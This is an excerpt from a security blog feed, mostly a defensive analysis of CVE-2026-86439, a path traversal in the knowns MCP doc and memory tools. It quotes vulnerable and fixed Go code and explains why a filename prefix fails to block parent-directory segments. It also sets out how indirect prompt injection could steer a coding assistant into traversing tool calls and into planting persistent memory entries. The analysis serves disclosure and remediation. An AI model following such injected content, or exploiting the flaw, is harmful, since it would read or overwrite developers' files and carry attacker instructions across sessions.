id="Centralise-the-dangerous-operation"><a href="#Centralise-the-dangerous-operation" class="headerlink" title="Centralise the dangerous operation"></a>Centralise the dangerous operation</h3><p>The most durable part of this fix is not the changed line — it is that <code>safepath</code> now exists. One reviewed, tested implementation that every call site uses is far more defensible than a containment check re-derived at each handler, and it gives future contributors an obvious right answer.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure (the reason this one is <code>PR:N</code>)</li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — the write-side counterpart, via import name</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86538">CVE.org record: CVE-2026-86538</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86538">NIST National Vulnerability Database: CVE-2026-86538</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-fpxv-c555-rhm3">GitHub Security Advisory: GHSA-fpxv-c555-rhm3</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-templatefile-parameter">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/templates.go#L299-L310">Vulnerable <code>preview</code> handler at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e">Fix commit <code>09c5a96fd581</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86538 affects knowns before 0.30.0: POST /api/templates/preview joins an attacker-controlled templateFile onto a template directory and returns the file contents. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="file-disclosure" scheme="https://blog.nhhoang.io.vn/tags/file-disclosure/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86439: knowns Path Traversal via MCP Doc and Memory Tools</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/</id>
    <published>2026-09-08T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective data flow and the remediation. It does not include working traversal strings, injection prompts, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86439 is a path-traversal vulnerability in the MCP tool surface of <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. knowns exposes its document store and memory store to AI coding assistants over the Model Context Protocol. The path and ID arguments those tools accept were joined onto the managed storage directories without any containment check, so a caller could read, create, overwrite, and delete files outside the project directory.</p><p>The weakness is <strong>CWE-22: Improper Limitation of a Pathname to a Restricted Directory</strong>. The vendor scores it <strong>CVSS 4.0 8.7 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 8.8 High</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</code>). All three impact metrics are High — this is a read <em>and</em> write <em>and</em> delete primitive.</p><p>What makes this issue distinct from the other traversal bugs in the knowns set is the caller. The other entry points are HTTP endpoints an attacker reaches directly. This one is an <strong>MCP tool argument</strong>, which means the attacker’s most natural path is not the network at all. It is content — a README, an issue, a dependency’s documentation, a web page — that a coding assistant reads and is influenced by. The model constructs the tool call; the model has legitimate access; the traversal happens on the attacker’s behalf.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e"><code>09c5a96fd581</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment or attack-path consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86439</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-9gfj-28hw-jchp</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Path traversal, CWE-22</td><td>Verified</td></tr><tr><td>Entry point</td><td>Filesystem path arguments in MCP tool calls</td><td>Verified</td></tr><tr><td>Dangerous sinks</td><td><code>DocStore.Get</code>, <code>MemoryStore.GetInLayer</code> and the memory write paths</td><td>Verified</td></tr><tr><td>Operations exposed</td><td>Read, create, overwrite, delete</td><td>Verified</td></tr><tr><td>File-type constraint</td><td>Markdown files, per the CVE description</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>8.7 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>8.8 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>09c5a96fd5817b941dc86669278c1a17db10ed4e</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-the-MCP-boundary-changes-the-threat-model"><a href="#Why-the-MCP-boundary-changes-the-threat-model" class="headerlink" title="Why the MCP boundary changes the threat model"></a>Why the MCP boundary changes the threat model</h2><p>MCP tool arguments feel like internal function parameters. They are not. In an agentic system, they are the output of a language model that has just processed untrusted text.</p><p>The chain looks like this:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Untrusted content the assistant reads</span><br><span class="line">  (repo README, issue text, dependency docs, fetched web page,</span><br><span class="line">   an imported doc, a memory entry written earlier)</span><br><span class="line">        |</span><br><span class="line">        | influences the model&#x27;s next action</span><br><span class="line">        v</span><br><span class="line">Model emits an MCP tool call</span><br><span class="line">        |</span><br><span class="line">        | &#123; &quot;path&quot;: &lt;attacker-influenced&gt; &#125; / &#123; &quot;id&quot;: &lt;attacker-influenced&gt; &#125;</span><br><span class="line">        v</span><br><span class="line">knowns MCP handler</span><br><span class="line">        |</span><br><span class="line">        | filepath.Join(managedRoot, untrusted)     &lt;-- no containment</span><br><span class="line">        v</span><br><span class="line">Filesystem, as the developer&#x27;s user</span><br></pre></td></tr></table></figure><p>Three consequences follow, and they are the reason this class deserves separate treatment from ordinary web traversal:</p><p><strong>The confused deputy is the model.</strong> The MCP server authenticates and authorises the <em>session</em>, not the <em>intent</em>. A session with legitimate doc access is exactly what a prompt-injection payload wants to borrow. <code>PR:L</code> in the vector reflects that the attacker needs a session — but in agentic deployments, the session is supplied by the victim.</p><p><strong>Argument validation is the only remaining control.</strong> There is no user in the loop reviewing a <code>path</code> field. Tool arguments are typically auto-approved for read-classified operations, and — as <a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> documents in the same codebase — operations are not always classified correctly in the first place.</p><p><strong>Feedback closes the loop.</strong> knowns’ memory store is designed to persist across sessions. <strong>Inferred:</strong> a traversal that can write memory entries can plant content that the assistant will read in a future session, giving the attacker a durable foothold in the model’s context rather than a one-shot influence.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="DocStore-Get-—-the-classic-lexical-join"><a href="#DocStore-Get-—-the-classic-lexical-join" class="headerlink" title="DocStore.Get — the classic lexical join"></a><code>DocStore.Get</code> — the classic lexical join</h3><p>From <code>internal/storage/doc_store.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Get retrieves a doc by its relative path (without .md extension).</span></span><br><span class="line"><span class="comment">// Examples: &quot;readme&quot;, &quot;patterns/module&quot;, &quot;specs/user-auth&quot;</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ds *DocStore)</span></span> Get(path <span class="type">string</span>) (*models.Doc, <span class="type">error</span>) &#123;</span><br><span class="line">path = strings.TrimPrefix(path, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">path = strings.TrimSuffix(path, <span class="string">&quot;.md&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// Try local docs first.</span></span><br><span class="line">absPath := filepath.Join(ds.docsDir(), filepath.FromSlash(path)+<span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> _, err := os.Stat(absPath); err == <span class="literal">nil</span> &#123;</span><br><span class="line">folder := filepath.ToSlash(filepath.Dir(filepath.FromSlash(path)))</span><br><span class="line"><span class="keyword">if</span> folder == <span class="string">&quot;.&quot;</span> &#123;</span><br><span class="line">folder = <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ds.parseFile(absPath, path, folder, <span class="literal">false</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>There is normalisation here — a leading slash is trimmed, an <code>.md</code> suffix is trimmed and re-added — and it is easy to mistake that for validation. It is not. Trimming a leading <code>/</code> prevents an absolute path from replacing the base in <code>filepath.Join</code>, but it says nothing about parent-directory segments <em>inside</em> the path. <code>filepath.Join</code> then cleans the result lexically and resolves those segments outward, past <code>docsDir()</code>.</p><p>The forced <code>.md</code> suffix is a real constraint, and it is why the CVE description says “arbitrary Markdown files” rather than “arbitrary files”. <strong>Inferred:</strong> on a developer machine that constraint is weaker than it sounds. Documentation, notes, agent instruction files, and repository READMEs are all Markdown, and those are precisely the files whose content steers both humans and assistants.</p><p>The same function then loops over the imports directory and builds two more candidate paths from the same unvalidated input, so a single call had several joins to escape from.</p><h3 id="MemoryStore-GetInLayer-—-a-prefix-that-defeats-itself"><a href="#MemoryStore-GetInLayer-—-a-prefix-that-defeats-itself" class="headerlink" title="MemoryStore.GetInLayer — a prefix that defeats itself"></a><code>MemoryStore.GetInLayer</code> — a prefix that defeats itself</h3><p>From <code>internal/storage/memory_store.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// GetInLayer retrieves a memory entry by ID from a specific layer only.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ms *MemoryStore)</span></span> GetInLayer(id, layer <span class="type">string</span>) (*models.MemoryEntry, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> !models.ValidMemoryLayer(layer) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, fmt.Errorf(<span class="string">&quot;invalid memory layer: %q&quot;</span>, layer)</span><br><span class="line">&#125;</span><br><span class="line">dir, err := ms.dirForLayer(layer)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">absPath := filepath.Join(dir, models.MemoryFileName(id))</span><br><span class="line"><span class="keyword">if</span> _, err := os.Stat(absPath); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span>, fmt.Errorf(<span class="string">&quot;memory %q not found in %s layer&quot;</span>, id, layer)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ms.parseFile(absPath, layer)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Where <code>MemoryFileName</code> is:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">MemoryFileName</span><span class="params">(id <span class="type">string</span>)</span></span> <span class="type">string</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;memory-&quot;</span> + id + <span class="string">&quot;.md&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>This is a small, instructive failure. <code>layer</code> is validated against an enumeration; <code>id</code> is not validated at all. Two things then go wrong at once:</p><p><strong>The <code>memory-</code> prefix looks like it constrains the filename, and does not.</strong> Concatenating a prefix onto an ID that may contain separators produces a string whose <em>first</em> path segment is <code>memory-</code> plus the ID’s first segment — and everything after the first separator is a fresh segment that the prefix cannot reach. If the ID begins with parent-directory syntax, <code>filepath.Join</code> cleans <code>memory-..</code> as an ordinary directory name and then the following <code>..</code> removes it again, leaving the traversal intact and the final basename entirely attacker-controlled.</p><p>This is worth stating as a general rule, because the pattern is everywhere: <strong>string concatenation does not survive path normalisation</strong>. A prefix or suffix only constrains the filename if the value between them is guaranteed to contain no separators — which is a validation requirement, not a formatting one.</p><p><strong>The <code>.md</code> suffix is likewise per-segment.</strong> It attaches to the last segment of whatever path the ID describes, not to a filename inside the memory directory.</p><p>Because the memory store’s create, update, and write paths built filenames the same way, the primitive was not read-only. That is where <code>VI:H</code> and <code>VA:H</code> come from: the CVE record states that attackers can “read, create, overwrite and delete files outside the project directory”.</p><h3 id="The-common-shape"><a href="#The-common-shape" class="headerlink" title="The common shape"></a>The common shape</h3><p>Both sinks share one root cause: an untrusted string was treated as a <em>name</em> by the code’s mental model and as a <em>path</em> by the filesystem. Nothing in between forced those two views to agree.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>Files outside the project directory could be read, created, overwritten, and deleted.</li><li>All three CIA impact metrics on the vulnerable system are rated High.</li><li>The operations execute with the privileges of the knowns process — on a workstation, the developer’s own account.</li><li>Low privileges are required (<code>PR:L</code>); no user interaction is (<code>UI:N</code>).</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>disclosure of documentation, notes, and specifications belonging to other projects on the same machine;</li><li>overwriting agent instruction files, project READMEs, and architectural decision records — content that both humans and assistants treat as authoritative;</li><li>planting persistent content in the global memory layer, which is read in future sessions and by other projects;</li><li>deletion of documentation and memory entries, causing loss of work that may not be under version control;</li><li>laundering of an indirect prompt injection into a filesystem action: the untrusted text that caused the tool call is transient, but the file it wrote is not;</li><li>chaining with the other issues in this set — a traversal that can write Markdown into a project is a good position from which to influence a developer who is about to run <a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a>-style code edits.</li></ul><p><strong>Inferred:</strong> the durability point is the one defenders most often miss. Prompt injection is usually discussed as an ephemeral influence on one response. A tool that converts it into a file write makes it persistent, and the persistence lives outside the model, outside the session, and outside anything the model provider can revoke.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Identify which assistants are wired to the knowns MCP server, and whether their doc and memory tools run with auto-approval.</li><li>Review what untrusted content those assistants routinely ingest — cloned repositories, dependency documentation, imported docs, fetched pages.</li><li>Check the memory store for entries nobody remembers creating, particularly in the global layer.</li></ol><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li>MCP tool invocations where a <code>path</code> or <code>id</code> argument is not a plain relative name;</li><li>any such argument containing parent-directory segments, leading separators, or backslashes;</li><li>Markdown files modified outside the project tree at times matching assistant activity;</li><li>new or altered agent instruction files and READMEs that no commit explains;</li><li>memory entries whose IDs do not match the tool’s own naming conventions;</li><li>host filesystem audit events showing the knowns process touching paths outside its managed roots.</li></ul><p><strong>Inferred:</strong> MCP session transcripts are the highest-value artefact here, because they record the argument that was actually sent. If your assistant retains them, they answer the “did this happen” question directly. If it does not, that gap is itself worth fixing before the next MCP CVE.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix introduces the <code>internal/safepath</code> package and a validated memory ID format.</p><p>Document paths are now resolved with containment, including in the imports loop where the original code built candidates by hand:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">importDocsDir := filepath.Join(ds.importsDir(), importSource, <span class="string">&quot;docs&quot;</span>)</span><br><span class="line">candidate, err := safepath.Resolve(importDocsDir, path+<span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">continue</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Memory IDs are validated against an explicit format rather than being trusted to be well behaved:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> memoryIDPattern = regexp.MustCompile(<span class="string">`^[A-Za-z0-9][A-Za-z0-9._-]&#123;0,127&#125;$`</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// ValidateMemoryID rejects IDs that can change the canonical memory filename</span></span><br><span class="line"><span class="comment">// or use platform-specific alternate path syntax.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ValidateMemoryID</span><span class="params">(id <span class="type">string</span>)</span></span> <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> !memoryIDPattern.MatchString(id) || strings.HasSuffix(id, <span class="string">&quot;.&quot;</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;invalid memory ID %q&quot;</span>, id)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Two details in that pattern are deliberate and worth copying:</p><ul><li><strong>It is an allowlist anchored at both ends.</strong> No separators, no NUL, no traversal, no Windows device syntax — because none of those characters are in the permitted set at all, rather than because each was individually blocked.</li><li><strong>It constrains the first character and the last.</strong> Requiring an alphanumeric start rules out leading dots and hyphens; the explicit trailing-dot rejection handles Windows filename normalisation, which silently strips trailing dots and would otherwise let two distinct IDs map to one file.</li></ul><p>The validator is then called on <code>Get</code>, <code>GetInLayer</code>, <code>Create</code>, <code>Update</code>, and the internal <code>writeExisting</code> path — every operation that turns an ID into a filename, not just the read path that the advisory highlights.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Treat MCP tool arguments as untrusted input from a language model, and validate them at the handler with the same rigour you would apply to an HTTP request body.</li><li>Do not auto-approve MCP tools that can write or delete, even when they are classified read-only — see <a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> for why that classification may be wrong.</li><li>Scope the assistant’s filesystem access to the project, ideally with an OS-level boundary (container, dedicated user, or sandbox) rather than an application-level one.</li><li>Keep the global memory layer under review; content that persists across projects is content that persists across trust boundaries.</li><li>Prefer storage APIs that take an opaque key and own the filename entirely, so the caller never supplies path syntax.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>09c5a96fd581</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86439 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="MCP-tool-arguments-are-untrusted-input"><a href="#MCP-tool-arguments-are-untrusted-input" class="headerlink" title="MCP tool arguments are untrusted input"></a>MCP tool arguments are untrusted input</h3><p>This is the headline. The parameters of an MCP handler arrive from a model that has been reading attacker-reachable text. Every validation habit built for HTTP handlers applies unchanged, and the absence of a human in the loop makes them more important, not less.</p><h3 id="Prefixes-and-suffixes-are-not-filename-constraints"><a href="#Prefixes-and-suffixes-are-not-filename-constraints" class="headerlink" title="Prefixes and suffixes are not filename constraints"></a>Prefixes and suffixes are not filename constraints</h3><p><code>&quot;memory-&quot; + id + &quot;.md&quot;</code> reads as though the filename is fixed. It is fixed only if <code>id</code> contains no path separators — and nothing guaranteed that. Formatting is not validation. If a value must be a single segment, assert it.</p><h3 id="Normalisation-is-not-validation"><a href="#Normalisation-is-not-validation" class="headerlink" title="Normalisation is not validation"></a>Normalisation is not validation</h3><p>Trimming a leading <code>/</code> and an <code>.md</code> suffix made the input <em>look</em> handled. Ask of every normalisation step: what property does this establish? “Cannot escape the base directory” was never established here.</p><h3 id="Validate-every-field-not-the-field-that-looks-risky"><a href="#Validate-every-field-not-the-field-that-looks-risky" class="headerlink" title="Validate every field, not the field that looks risky"></a>Validate every field, not the field that looks risky</h3><p><code>layer</code> had an enumeration check. <code>id</code> had nothing. The developer was clearly security-aware; the check simply followed the parameter with the more obviously constrained domain. Trace each argument to its sink on its own.</p><h3 id="Persistent-memory-is-a-persistent-attack-surface"><a href="#Persistent-memory-is-a-persistent-attack-surface" class="headerlink" title="Persistent memory is a persistent attack surface"></a>Persistent memory is a persistent attack surface</h3><p>A store designed to carry context across sessions will also carry an injected instruction across sessions. Treat writes to long-lived agent memory as privileged operations, and make their contents auditable by a human.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated arbitrary file write via import name</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — the HTTP-facing variant of this same storage-layer defect</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86439">CVE.org record: CVE-2026-86439</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86439">NIST National Vulnerability Database: CVE-2026-86439</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-9gfj-28hw-jchp">GitHub Security Advisory: GHSA-9gfj-28hw-jchp</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-mcp-doc-and-memory-tools">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/storage/doc_store.go#L124-L129"><code>DocStore.Get</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/storage/memory_store.go#L203-L211"><code>MemoryStore.GetInLayer</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e">Fix commit <code>09c5a96fd581</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86439 affects knowns before 0.30.0: MCP doc and memory tool arguments are joined onto storage directories without containment, allowing read, create, overwrite and delete outside the project. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="mcp" scheme="https://blog.nhhoang.io.vn/tags/mcp/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="prompt-injection" scheme="https://blog.nhhoang.io.vn/tags/prompt-injection/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-55533: PraisonAI Recipe Server Authentication Fail-Open</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/08/cve-2026-55533-praisonai-recipe-auth-fail-open/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/08/cve-2026-55533-praisonai-recipe-auth-fail-open/</id>
    <published>2026-08-29T03:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
